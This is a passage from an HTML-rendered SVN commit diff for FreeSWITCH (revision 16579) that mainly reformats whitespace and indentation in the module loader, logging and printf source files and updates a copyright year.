</span><span class="cx">                                 } else {
</span><span class="lines">@@ -649,8 +655,9 @@
</span><span class="cx">                 for (ptr = old_module->module_interface->asr_interface; ptr; ptr = ptr->next) {
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -674,8 +681,9 @@
</span><span class="cx">                 for (ptr = old_module->module_interface->directory_interface; ptr; ptr = ptr->next) {
</span><span class="cx">                         if (ptr->interface_name) {
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -699,8 +707,9 @@
</span><span class="cx">
</span><span class="cx">                 for (ptr = old_module->module_interface->chat_interface; ptr; ptr = ptr->next) {
</span><span class="cx">                         if (ptr->interface_name) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -723,8 +732,9 @@
</span><span class="cx">
</span><span class="cx">                 for (ptr = old_module->module_interface->say_interface; ptr; ptr = ptr->next) {
</span><span class="cx">                         if (ptr->interface_name) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n", ptr->interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write lock interface '%s' to wait for existing references.\n",
+                                                                 ptr->interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr->rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr->rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -801,7 +811,7 @@
</span><span class="cx">
</span><span class="cx">         switch_safe_free(derr)
</span><span class="cx">
</span><del>-        if (!interface_struct_handle) {
</del><ins>+                if (!interface_struct_handle) {
</ins><span class="cx">                 dso = switch_dso_open(path, load_global, &derr);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -822,7 +832,7 @@
</span><span class="cx">
</span><span class="cx">                 if (interface_struct_handle && interface_struct_handle->switch_api_version != SWITCH_API_VERSION) {
</span><span class="cx">                         err = "Trying to load an out of date module, please rebuild the module.";
</span><del>-                        break;        
</del><ins>+                        break;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (!load_global && interface_struct_handle && switch_test_flag(interface_struct_handle, SMODF_GLOBAL_SYMBOLS)) {
</span><span class="lines">@@ -959,7 +969,7 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_loadable_module_exists(const char *mod)
</span><span class="cx"> {
</span><del>-        switch_status_t status;
</del><ins>+        switch_status_t status;
</ins><span class="cx">
</span><span class="cx">         if (zstr(mod)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1002,7 +1012,7 @@
</span><span class="cx">                 *err = "No such module!";
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         switch_mutex_unlock(loadable_modules.mutex);
</span><span class="cx">
</span><span class="cx">         if (force) {
</span><span class="lines">@@ -1245,11 +1255,12 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err)
</del><ins>+static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy,
+                                                                 const char **err)
</ins><span class="cx"> {
</span><span class="cx">         int32_t flags = switch_core_flags();
</span><span class="cx">         switch_assert(module != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (fail_if_busy && module->module_interface->rwlock && switch_thread_rwlock_trywrlock(module->module_interface->rwlock) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (err) {
</span><span class="cx">                         *err = "Module in use.";
</span><span class="lines">@@ -1274,7 +1285,7 @@
</span><span class="cx">                 switch_thread_rwlock_unlock(module->module_interface->rwlock);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (unload && module->status != SWITCH_STATUS_NOUNLOAD         && !(flags & SCF_VG)) {
</del><ins>+        if (unload && module->status != SWITCH_STATUS_NOUNLOAD && !(flags & SCF_VG)) {
</ins><span class="cx">                 switch_memory_pool_t *pool;
</span><span class="cx">                 switch_status_t st;
</span><span class="cx">
</span><span class="lines">@@ -1290,7 +1301,7 @@
</span><span class="cx">                         switch_core_destroy_memory_pool(&pool);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="lines">@@ -1300,7 +1311,7 @@
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         void *val;
</span><span class="cx">         switch_loadable_module_t *module;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!loadable_modules.module_hash) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -1389,22 +1400,22 @@
</span><span class="cx">                         PROTECT_INTERFACE(i);                                                                                \
</span><span class="cx">                 }                                                                                                                                \
</span><span class="cx">                 return i;                                                                                                                \
</span><del>-        }                                                                                                                                        
-        
</del><ins>+        }
+
</ins><span class="cx"> HASH_FUNC(dialplan)
</span><del>-HASH_FUNC(timer)
-HASH_FUNC(application)
-HASH_FUNC(api)
-HASH_FUNC(file)
-HASH_FUNC(speech)
-HASH_FUNC(asr)
-HASH_FUNC(directory)
-HASH_FUNC(chat)
</del><ins>+        HASH_FUNC(timer)
+        HASH_FUNC(application)
+        HASH_FUNC(api)
+        HASH_FUNC(file)
+        HASH_FUNC(speech)
+        HASH_FUNC(asr)
+        HASH_FUNC(directory)
+        HASH_FUNC(chat)
</ins><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_say_interface_t *) switch_loadable_module_get_say_interface(const char *name)
</del><ins>+        SWITCH_DECLARE(switch_say_interface_t *) switch_loadable_module_get_say_interface(const char *name)
</ins><span class="cx"> {
</span><del>- return switch_core_hash_find_locked(loadable_modules.say_hash, name, loadable_modules.mutex);
</del><ins>+        return switch_core_hash_find_locked(loadable_modules.say_hash, name, loadable_modules.mutex);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_management_interface_t *) switch_loadable_module_get_management_interface(const char *relative_oid)
</span><span class="lines">@@ -1440,7 +1451,8 @@
</span><span class="cx">
</span><span class="cx">          found:
</span><span class="cx">
</span><del>-                if (!lock && i > 0) lock = array[i-1]->microseconds_per_packet;
</del><ins>+                if (!lock && i > 0)
+                        lock = array[i - 1]->microseconds_per_packet;
</ins><span class="cx">
</span><span class="cx">                 if (i > arraylen) {
</span><span class="cx">                         break;
</span><span class="lines">@@ -1491,13 +1503,13 @@
</span><span class="cx">                 if ((codec_interface = switch_loadable_module_get_codec_interface(name)) != 0) {
</span><span class="cx">                         /* If no specific codec interval is requested opt for 20ms above all else because lots of stuff assumes it */
</span><span class="cx">                         for (imp = codec_interface->implementations; imp; imp = imp->next) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (imp->codec_type != SWITCH_CODEC_TYPE_VIDEO) {
</span><span class="cx">                                         if (lock && imp->microseconds_per_packet != lock) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        if ((!interval && (uint32_t) (imp->microseconds_per_packet / 1000) != 20) ||
</del><ins>+                                        if ((!interval && (uint32_t) (imp->microseconds_per_packet / 1000) != 20) ||
</ins><span class="cx">                                                 (interval && (uint32_t) (imp->microseconds_per_packet / 1000) != interval)) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="lines">@@ -1524,7 +1536,7 @@
</span><span class="cx">                                         if (interval && (uint32_t) (imp->microseconds_per_packet / 1000) != interval) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (rate && (uint32_t) imp->samples_per_second != rate) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="lines">@@ -1538,7 +1550,7 @@
</span><span class="cx">                  found:
</span><span class="cx">
</span><span class="cx">                         if (!lock && i > 0) {
</span><del>-                                lock = array[i-1]->microseconds_per_packet;
</del><ins>+                                lock = array[i - 1]->microseconds_per_packet;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         UNPROTECT_INTERFACE(codec_interface);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_logc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_log.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_log.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_log.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -72,14 +72,20 @@
</span><span class="cx"> static WORD wOldColorAttrs;
</span><span class="cx"> static CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
</span><span class="cx">
</span><del>-static WORD
</del><ins>+static WORD
</ins><span class="cx"> #else
</span><del>-static const char*
</del><ins>+static const char *
</ins><span class="cx"> #endif
</span><del>-COLORS[] = { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN, SWITCH_SEQ_FYELLOW };
</del><ins>+
+        
+        
+        
+        COLORS[] =
+        { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN,
+SWITCH_SEQ_FYELLOW };
</ins><span class="cx">
</span><span class="cx">
</span><del>-static switch_log_node_t* switch_log_node_alloc()
</del><ins>+static switch_log_node_t *switch_log_node_alloc()
</ins><span class="cx"> {
</span><span class="cx">         switch_log_node_t *node = NULL;
</span><span class="cx"> #ifdef SWITCH_LOG_RECYCLE
</span><span class="lines">@@ -97,37 +103,37 @@
</span><span class="cx">         return node;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_log_node_t*) switch_log_node_dup(const switch_log_node_t *node)
</del><ins>+SWITCH_DECLARE(switch_log_node_t *) switch_log_node_dup(const switch_log_node_t *node)
</ins><span class="cx"> {
</span><span class="cx">         switch_log_node_t *newnode = switch_log_node_alloc();
</span><del>-        
</del><ins>+
</ins><span class="cx">         *newnode = *node;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(node->data)) {
</span><del>-                newnode->data = strdup(node->data);        
</del><ins>+                newnode->data = strdup(node->data);
</ins><span class="cx">                 switch_assert(node->data);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(node->userdata)) {
</span><span class="cx">                 newnode->userdata = strdup(node->userdata);
</span><span class="cx">                 switch_assert(node->userdata);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return newnode;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_log_node_free(switch_log_node_t **pnode)
</span><span class="cx"> {
</span><span class="cx">         switch_log_node_t *node;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!pnode) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         node = *pnode;
</span><span class="cx">
</span><del>-        if (node) {                
-                switch_safe_free(node->userdata);                
</del><ins>+        if (node) {
+                switch_safe_free(node->userdata);
</ins><span class="cx">                 switch_safe_free(node->data);
</span><span class="cx"> #ifdef SWITCH_LOG_RECYCLE
</span><span class="cx">                 if (switch_queue_trypush(LOG_RECYCLE_QUEUE, node) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -137,7 +143,7 @@
</span><span class="cx">                 free(node);
</span><span class="cx"> #endif
</span><span class="cx">         }
</span><del>-        *pnode = NULL;        
</del><ins>+        *pnode = NULL;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(const char *) switch_log_level2str(switch_log_level_t level)
</span><span class="lines">@@ -186,7 +192,7 @@
</span><span class="cx">                 x = atoi(str);
</span><span class="cx">
</span><span class="cx">                 if (x > SWITCH_LOG_INVALID) {
</span><del>-                        return SWITCH_LOG_INVALID -1;
</del><ins>+                        return SWITCH_LOG_INVALID - 1;
</ins><span class="cx">                 } else if (x < 0) {
</span><span class="cx">                         return 0;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -315,15 +321,15 @@
</span><span class="cx">                                                                          const char *userdata, switch_log_level_t level, const char *fmt, ...)
</span><span class="cx"> {
</span><span class="cx">         va_list ap;
</span><del>-        
</del><ins>+
</ins><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         switch_log_vprintf(channel, file, func, line, userdata, level, fmt, ap);
</span><del>-        va_end(ap);        
</del><ins>+        va_end(ap);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #define do_mods (LOG_QUEUE && THREAD_RUNNING)
</span><span class="cx"> SWITCH_DECLARE(void) switch_log_vprintf(switch_text_channel_t channel, const char *file, const char *func, int line,
</span><del>-                                                                         const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
</del><ins>+                                                                                const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
</ins><span class="cx"> {
</span><span class="cx">         char *data = NULL;
</span><span class="cx">         char *new_fmt = NULL;
</span><span class="lines">@@ -342,14 +348,14 @@
</span><span class="cx">         switch_log_level_t limit_level = runtime.hard_log_level;
</span><span class="cx">
</span><span class="cx">         if (channel == SWITCH_CHANNEL_ID_SESSION && userdata) {
</span><del>-                switch_core_session_t *session = (switch_core_session_t*)userdata;
</del><ins>+                switch_core_session_t *session = (switch_core_session_t *) userdata;
</ins><span class="cx">                 if (limit_level < session->loglevel) {
</span><span class="cx">                         limit_level = session->loglevel;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (level > 100) {
</span><del>-                if ((uint32_t)(level - 100) > runtime.debug_level) {
</del><ins>+                if ((uint32_t) (level - 100) > runtime.debug_level) {
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -370,8 +376,8 @@
</span><span class="cx">                 switch_time_exp_t tm;
</span><span class="cx">
</span><span class="cx">                 switch_time_exp_lt(&tm, now);
</span><del>-                switch_snprintf(date, sizeof(date), "%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%0.6d",
-                                                tm.tm_year + 1900, tm.tm_mon+1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
</del><ins>+                switch_snprintf(date, sizeof(date), "%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%0.6d",
+                                                tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
</ins><span class="cx">
</span><span class="cx">                 //switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
</span><span class="cx">
</span><span class="lines">@@ -423,7 +429,7 @@
</span><span class="cx">
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (console_mods_loaded == 0 || !do_mods) {
</span><span class="cx">                 if (handle) {
</span><span class="cx">                         int aok = 1;
</span><span class="lines">@@ -460,11 +466,11 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (do_mods && level <= MAX_LEVEL) {
</span><span class="cx">                 switch_log_node_t *node = switch_log_node_alloc();
</span><del>-                
</del><ins>+
</ins><span class="cx">                 node->data = data;
</span><span class="cx">                 data = NULL;
</span><span class="cx">                 switch_set_string(node->file, filep);
</span><span class="lines">@@ -475,7 +481,7 @@
</span><span class="cx">                 node->timestamp = now;
</span><span class="cx">                 node->channel = channel;
</span><span class="cx">                 if (channel == SWITCH_CHANNEL_ID_SESSION) {
</span><del>-                        node->userdata = userdata ? strdup(switch_core_session_get_uuid((switch_core_session_t*)userdata)) : NULL;
</del><ins>+                        node->userdata = userdata ? strdup(switch_core_session_get_uuid((switch_core_session_t *) userdata)) : NULL;
</ins><span class="cx">                 } else {
</span><span class="cx">                         node->userdata = !zstr(userdata) ? strdup(userdata) : NULL;
</span><span class="cx">                 }
</span><span class="lines">@@ -495,7 +501,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_log_init(switch_memory_pool_t *pool, switch_bool_t colorize)
</span><span class="cx"> {
</span><span class="cx">         switch_threadattr_t *thd_attr;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(pool != NULL);
</span><span class="cx">
</span><span class="cx">         LOG_POOL = pool;
</span><span class="lines">@@ -518,13 +524,13 @@
</span><span class="cx">
</span><span class="cx">         if (colorize) {
</span><span class="cx"> #ifdef WIN32
</span><del>-                                hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
-                                if (switch_core_get_console() == stdout && hStdout != INVALID_HANDLE_VALUE && GetConsoleScreenBufferInfo(hStdout, &csbiInfo)) {
-                                        wOldColorAttrs = csbiInfo.wAttributes;
-                                        COLORIZE = SWITCH_TRUE;
-                                }
</del><ins>+                hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
+                if (switch_core_get_console() == stdout && hStdout != INVALID_HANDLE_VALUE && GetConsoleScreenBufferInfo(hStdout, &csbiInfo)) {
+                        wOldColorAttrs = csbiInfo.wAttributes;
+                        COLORIZE = SWITCH_TRUE;
+                }
</ins><span class="cx"> #else
</span><del>-                                COLORIZE = SWITCH_TRUE;
</del><ins>+                COLORIZE = SWITCH_TRUE;
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_mprintfc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_mprintf.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_mprintf.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_mprintf.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -66,25 +66,25 @@
</span><span class="cx"> ** Conversion types fall into various categories as defined by the
</span><span class="cx"> ** following enumeration.
</span><span class="cx"> */
</span><del>-#define etRADIX 1 /* Integer types. %d, %x, %o, and so forth */
-#define etFLOAT 2 /* Floating point. %f */
-#define etEXP 3 /* Exponentional notation. %e and %E */
-#define etGENERIC 4 /* Floating or exponential, depending on exponent. %g */
-#define etSIZE 5 /* Return number of characters processed so far. %n */
-#define etSTRING 6 /* Strings. %s */
-#define etDYNSTRING 7 /* Dynamically allocated strings. %z */
-#define etPERCENT 8 /* Percent symbol. %% */
-#define etCHARX 9 /* Characters. %c */
</del><ins>+#define etRADIX 1                        /* Integer types. %d, %x, %o, and so forth */
+#define etFLOAT 2                        /* Floating point. %f */
+#define etEXP 3                        /* Exponentional notation. %e and %E */
+#define etGENERIC 4                        /* Floating or exponential, depending on exponent. %g */
+#define etSIZE 5                        /* Return number of characters processed so far. %n */
+#define etSTRING 6                        /* Strings. %s */
+#define etDYNSTRING 7                        /* Dynamically allocated strings. %z */
+#define etPERCENT 8                        /* Percent symbol. %% */
+#define etCHARX 9                        /* Characters. %c */
</ins><span class="cx"> /* The rest are extensions, not normally found in printf() */
</span><del>-#define etCHARLIT 10 /* Literal characters. %' */
-#define etSQLESCAPE 11 /* Strings with '\'' doubled. %q */
-#define etSQLESCAPE2 12 /* Strings with '\'' doubled and enclosed in '',
- NULL pointers replaced by SQL NULL. %Q */
</del><ins>+#define etCHARLIT 10                        /* Literal characters. %' */
+#define etSQLESCAPE 11                        /* Strings with '\'' doubled. %q */
+#define etSQLESCAPE2 12                        /* Strings with '\'' doubled and enclosed in '',
+                                                                 NULL pointers replaced by SQL NULL. %Q */
</ins><span class="cx"> #ifdef __UNSUPPORTED__
</span><del>-#define etTOKEN 13 /* a pointer to a Token structure */
-#define etSRCLIST 14 /* a pointer to a SrcList */
</del><ins>+#define etTOKEN 13                        /* a pointer to a Token structure */
+#define etSRCLIST 14                        /* a pointer to a SrcList */
</ins><span class="cx"> #endif
</span><del>-#define etPOINTER 15 /* The %p conversion */
</del><ins>+#define etPOINTER 15                        /* The %p conversion */
</ins><span class="cx"> #define etSQLESCAPE3 16
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -96,21 +96,21 @@
</span><span class="cx"> ** Each builtin conversion character (ex: the 'd' in "%d") is described
</span><span class="cx"> ** by an instance of the following structure
</span><span class="cx"> */
</span><del>-typedef struct et_info { /* Information about each format field */
- char fmttype; /* The format field code letter */
- etByte base; /* The base for radix conversion */
- etByte flags; /* One or more of FLAG_ constants below */
- etByte type; /* Conversion paradigm */
- etByte charset; /* Offset into aDigits[] of the digits string */
- etByte prefix; /* Offset into aPrefix[] of the prefix string */
</del><ins>+typedef struct et_info {                /* Information about each format field */
+        char fmttype;                                /* The format field code letter */
+        etByte base;                                /* The base for radix conversion */
+        etByte flags;                                /* One or more of FLAG_ constants below */
+        etByte type;                                /* Conversion paradigm */
+        etByte charset;                                /* Offset into aDigits[] of the digits string */
+        etByte prefix;                                /* Offset into aPrefix[] of the prefix string */
</ins><span class="cx"> } et_info;
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="cx"> ** Allowed values for et_info.flags
</span><span class="cx"> */
</span><del>-#define FLAG_SIGNED 1 /* True if the value to convert is signed */
-#define FLAG_INTERN 2 /* True if for internal use only */
-#define FLAG_STRING 4 /* Allow infinity precision */
</del><ins>+#define FLAG_SIGNED 1                        /* True if the value to convert is signed */
+#define FLAG_INTERN 2                        /* True if for internal use only */
+#define FLAG_STRING 4                        /* Allow infinity precision */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -120,33 +120,34 @@
</span><span class="cx"> static const char aDigits[] = "0123456789ABCDEF0123456789abcdef";
</span><span class="cx"> static const char aPrefix[] = "-x0\000X0";
</span><span class="cx"> static const et_info fmtinfo[] = {
</span><del>- { 'd', 10, 1, etRADIX, 0, 0 },
- { 's', 0, 4, etSTRING, 0, 0 },
- { 'g', 0, 1, etGENERIC, 30, 0 },
- { 'z', 0, 6, etDYNSTRING, 0, 0 },
- { 'q', 0, 4, etSQLESCAPE, 0, 0 },
- { 'Q', 0, 4, etSQLESCAPE2, 0, 0 },
- { 'w', 0, 4, etSQLESCAPE3, 0, 0 },
- { 'c', 0, 0, etCHARX, 0, 0 },
- { 'o', 8, 0, etRADIX, 0, 2 },
- { 'u', 10, 0, etRADIX, 0, 0 },
- { 'x', 16, 0, etRADIX, 16, 1 },
- { 'X', 16, 0, etRADIX, 0, 4 },
</del><ins>+        {'d', 10, 1, etRADIX, 0, 0},
+        {'s', 0, 4, etSTRING, 0, 0},
+        {'g', 0, 1, etGENERIC, 30, 0},
+        {'z', 0, 6, etDYNSTRING, 0, 0},
+        {'q', 0, 4, etSQLESCAPE, 0, 0},
+        {'Q', 0, 4, etSQLESCAPE2, 0, 0},
+        {'w', 0, 4, etSQLESCAPE3, 0, 0},
+        {'c', 0, 0, etCHARX, 0, 0},
+        {'o', 8, 0, etRADIX, 0, 2},
+        {'u', 10, 0, etRADIX, 0, 0},
+        {'x', 16, 0, etRADIX, 16, 1},
+        {'X', 16, 0, etRADIX, 0, 4},
</ins><span class="cx"> #ifndef SWITCH_OMIT_FLOATING_POINT
</span><del>- { 'f', 0, 1, etFLOAT, 0, 0 },
- { 'e', 0, 1, etEXP, 30, 0 },
- { 'E', 0, 1, etEXP, 14, 0 },
- { 'G', 0, 1, etGENERIC, 14, 0 },
</del><ins>+        {'f', 0, 1, etFLOAT, 0, 0},
+        {'e', 0, 1, etEXP, 30, 0},
+        {'E', 0, 1, etEXP, 14, 0},
+        {'G', 0, 1, etGENERIC, 14, 0},
</ins><span class="cx"> #endif
</span><del>- { 'i', 10, 1, etRADIX, 0, 0 },
- { 'n', 0, 0, etSIZE, 0, 0 },
- { '%', 0, 0, etPERCENT, 0, 0 },
- { 'p', 16, 0, etPOINTER, 0, 1 },
</del><ins>+        {'i', 10, 1, etRADIX, 0, 0},
+        {'n', 0, 0, etSIZE, 0, 0},
+        {'%', 0, 0, etPERCENT, 0, 0},
+        {'p', 16, 0, etPOINTER, 0, 1},
</ins><span class="cx"> #ifdef __UNSUPPORTED__
</span><del>- { 'T', 0, 2, etTOKEN, 0, 0 },
- { 'S', 0, 2, etSRCLIST, 0, 0 },
</del><ins>+        {'T', 0, 2, etTOKEN, 0, 0},
+        {'S', 0, 2, etSRCLIST, 0, 0},
</ins><span class="cx"> #endif
</span><span class="cx"> };
</span><ins>+
</ins><span class="cx"> #define etNINFO (sizeof(fmtinfo)/sizeof(fmtinfo[0]))
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -167,15 +168,17 @@
</span><span class="cx"> ** 16 (the number of significant digits in a 64-bit float) '0' is
</span><span class="cx"> ** always returned.
</span><span class="cx"> */
</span><del>-static int et_getdigit(LONGDOUBLE_TYPE *val, int *cnt){
- int digit;
- LONGDOUBLE_TYPE d;
- if ( (*cnt)++ >= 16 ) return '0';
- digit = (int)*val;
- d = digit;
- digit += '0';
- *val = (*val - d)*10.0;
- return digit;
</del><ins>+static int et_getdigit(LONGDOUBLE_TYPE * val, int *cnt)
+{
+        int digit;
+        LONGDOUBLE_TYPE d;
+        if ((*cnt)++ >= 16)
+                return '0';
+        digit = (int) *val;
+        d = digit;
+        digit += '0';
+        *val = (*val - d) * 10.0;
+        return digit;
</ins><span class="cx"> }
</span><span class="cx"> #endif /* SWITCH_OMIT_FLOATING_POINT */
</span><span class="cx">
</span><span class="lines">@@ -187,7 +190,7 @@
</span><span class="cx"> #ifndef SWITCH_PRINT_BUF_SIZE
</span><span class="cx"> # define SWITCH_PRINT_BUF_SIZE 350
</span><span class="cx"> #endif
</span><del>-#define etBUFSIZE SWITCH_PRINT_BUF_SIZE /* Size of the output buffer */
</del><ins>+#define etBUFSIZE SWITCH_PRINT_BUF_SIZE        /* Size of the output buffer */
</ins><span class="cx">
</span><span class="cx"> /*
</span><span class="cx"> ** The root program. All variations call this core.
</span><span class="lines">@@ -216,510 +219,576 @@
</span><span class="cx"> ** seems to make a big difference in determining how fast this beast
</span><span class="cx"> ** will run.
</span><span class="cx"> */
</span><del>-static int vxprintf(
- void (*func)(void*,const char*,int), /* Consumer of text */
- void *arg, /* First argument to the consumer */
- int useExtended, /* Allow extended %-conversions */
- const char *fmt, /* Format string */
- va_list ap /* arguments */
-){
- int c; /* Next character in the format string */
- char *bufpt; /* Pointer to the conversion buffer */
- int precision; /* Precision of the current field */
- int length; /* Length of the field */
- int idx; /* A general purpose loop counter */
- int count; /* Total number of characters output */
- int width; /* Width of the current field */
- etByte flag_leftjustify; /* True if "-" flag is present */
- etByte flag_plussign; /* True if "+" flag is present */
- etByte flag_blanksign; /* True if " " flag is present */
- etByte flag_alternateform; /* True if "#" flag is present */
- etByte flag_altform2; /* True if "!" flag is present */
- etByte flag_zeropad; /* True if field width constant starts with zero */
- etByte flag_long; /* True if "l" flag is present */
- etByte flag_longlong; /* True if the "ll" flag is present */
- etByte done; /* Loop termination flag */
